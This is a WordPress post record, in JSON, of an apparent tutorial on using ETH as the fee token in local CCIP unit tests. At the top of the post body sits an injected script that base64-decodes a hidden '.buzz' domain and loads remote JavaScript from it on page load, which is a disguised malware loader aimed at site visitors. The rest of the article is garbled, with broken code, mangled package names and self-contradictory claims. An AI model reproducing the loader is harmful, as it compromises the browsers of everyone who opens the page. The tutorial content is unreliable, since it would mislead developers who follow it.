{"id":1259,"date":"2025-02-08T16:12:52","date_gmt":"2025-02-08T16:12:52","guid":{"rendered":"https:\/\/hccmena.com\/?p=1259"},"modified":"2025-02-08T16:12:52","modified_gmt":"2025-02-08T16:12:52","slug":"ethereum-how-to-use-native-token-as-fee-in-ccip-local-unit-tests","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/ethereum-how-to-use-native-token-as-fee-in-ccip-local-unit-tests\/","title":{"rendered":"Ethereum: How to use native token as fee in CCIP local unit tests?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=5f04a6ae\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Use of native tokens as expense in unit tests for local CCIP units <\/strong><\/p>\n<\/p>\n<p>When you test decentralized applications (DAPP) on Ethereum Testnet or Mainnet, it is essential to have a reliable and effective way to manage transaction costs. In this article, we will explore how to use native tokens as ETH as a fees in unit tests for the cross -interoperability protocol (CCIP).<\/p>\n<\/p>\n<p><strong> Configuration of unit tests for CCIP with the link token <\/strong><\/p>\n<\/p>\n<p>When you use the link as a fresh token on Ethereum Testnet or Mainnet, we can take advantage of the management of native tokens to simplify our test process. Here is a step by step guide:<\/p>\n<\/p>\n<ul>\n<li><strong> Configure a test portfolio <\/strong>: Create a new test portfolio on Ethereum Testnet (for example, alchemy testnet) and define it as default portfolio.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> Install the necessary dependencies <\/strong>: Install <code>Truffes' for the development of contracts,<\/code> Web3.js<code>to interact with the blockchain and<\/code>cipc-tester<code>to test the CCIP functionality.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> Define a series of tests <\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jxLkbJozKbY\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>: Create a new test file (for example,<\/code>Eth.tet.js<code>) and Import 'CCIP-TESTER<\/code>. Define a simple test case that uses the link as a fresh token:<\/li>\n<\/ul>\n<\/p>\n<p>`<code>Javascript<\/p>\n<\/p>\n<p>Const {ccip} = require ('.\/ cipc');<\/p>\n<\/p>\n<p>Const {alchemytetnet} = require ('alchemy-testnet');<\/p>\n<\/p>\n<p>Describe ('ethfee', () => {<\/p>\n<\/p>\n<p>  it ('should pay ETH for each transaction', async () => {<\/p>\n<\/p>\n<p>    Const contract = New CCIP ();<\/p>\n<\/p>\n<p>    Const txid = wait for contract.<\/p>\n<\/p>\n<p>      De: '0x ...', \/\/ address of the sender<\/p>\n<\/p>\n<p>      to: '0x ...',<\/p>\n<\/p>\n<p>      Value: 100,<\/p>\n<\/p>\n<p>      Gasprice: '1e8',<\/p>\n<\/p>\n<p>    });<\/p>\n<\/p>\n<p>    Const result = wait txid.wait (10);<\/p>\n<\/p>\n<p>    wait (result.status) .Tobe ('ok');<\/p>\n<\/p>\n<p>    Wait (Result.txhash) .not.Tobeundefined ();<\/p>\n<\/p>\n<p>    Wait (Result.Value) .Toblesshan (txid.gasprice * 10); \/\/ eth<\/p>\n<\/p>\n<p>  });<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p><\/code><code>'<\/p>\n<\/p>\n<ul>\n<li><strong> Run the <\/strong> test: Compile and execute the contract on Ethereum TESTNET (for example, alchemy testnet) using compile<\/code> and run<code>truffles.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> Check the results <\/strong>: Observe that your test passes without paying ETH for each transaction.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Use of native tokens as expenses in unit tests <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How to use native token as fee in CCIP local unit tests?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/a633734c.png\"><\/p>\n<\/p>\n<p>Now, modify our testing of tests to use ETH as a fresh token:<\/p>\n<\/p>\n<ul>\n<li><strong> Replace the link with ETH <\/strong>: update the variable<\/code>Link<code>in the test file to point an ETH account on the Ethereum Testhemnet (for example, ALCHEMY TESTNET).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> Change the test case <\/strong>: update the test case to use ETH as a fees:<\/li>\n<\/ul>\n<\/p>\n<p><\/code><code>Javascript<\/p>\n<\/p>\n<p>Const {ccip} = require ('.\/ cipc');<\/p>\n<\/p>\n<p>Const {alchemytetnet} = require ('alchemy-testnet');<\/p>\n<\/p>\n<p>Describe ('ethfee', () => {<\/p>\n<\/p>\n<p>  it ('should pay ETH for each transaction', async () => {<\/p>\n<\/p>\n<p>    Const contract = New CCIP ();<\/p>\n<\/p>\n<p>    Const txid = wait for contract.<\/p>\n<\/p>\n<p>      De: '0x ...', \/\/ address of the sender<\/p>\n<\/p>\n<p>      to: '0x ...',<\/p>\n<\/p>\n<p>      Value: 100,<\/p>\n<\/p>\n<p>      Gasprice: '1e8',<\/p>\n<\/p>\n<p>      Fresh: \"0.01\",<\/p>\n<\/p>\n<p>    });<\/p>\n<\/p>\n<p>    Const result = wait txid.wait (10);<\/p>\n<\/p>\n<p>    wait (result.status) .Tobe ('ok');<\/p>\n<\/p>\n<p>    Wait (Result.txhash) .not.Tobeundefined ();<\/p>\n<\/p>\n<p>    wait (result.value) .Toblesshan (txid.gasprice * 100); \/\/ eth<\/p>\n<\/p>\n<p>  });<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p><\/code><code>'<\/p>\n<\/p>\n<ul>\n<li><strong> Run the <\/strong> test: Compile and execute the contract on Ethereum TESTNET (for example, alchemy testnet) using compile<\/code> and run` truffle truffle.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> Check the results <\/strong>: Observe that your test passes without paying ETH for each transaction.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<\/p>\n<p>By taking advantage of native tokens like ETH as a fees, we can simplify our unit tests for CCIP on Ethereum Testnet or Mainnet. This approach not only saves time, but also provides a more effective way to manage transaction costs, which facilitates the development and test of decentralized applications.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Use of native tokens as expense in unit tests for local CCIP units When you test decentralized applications (DAPP) on Ethereum Testnet or Mainnet, it is essential to have a reliable and effective way to manage transaction costs. In this article, we will explore how to use native tokens as ETH as a fees in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1259"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1259"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1259\/revisions"}],"predecessor-version":[{"id":1260,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1259\/revisions\/1260"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1259"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}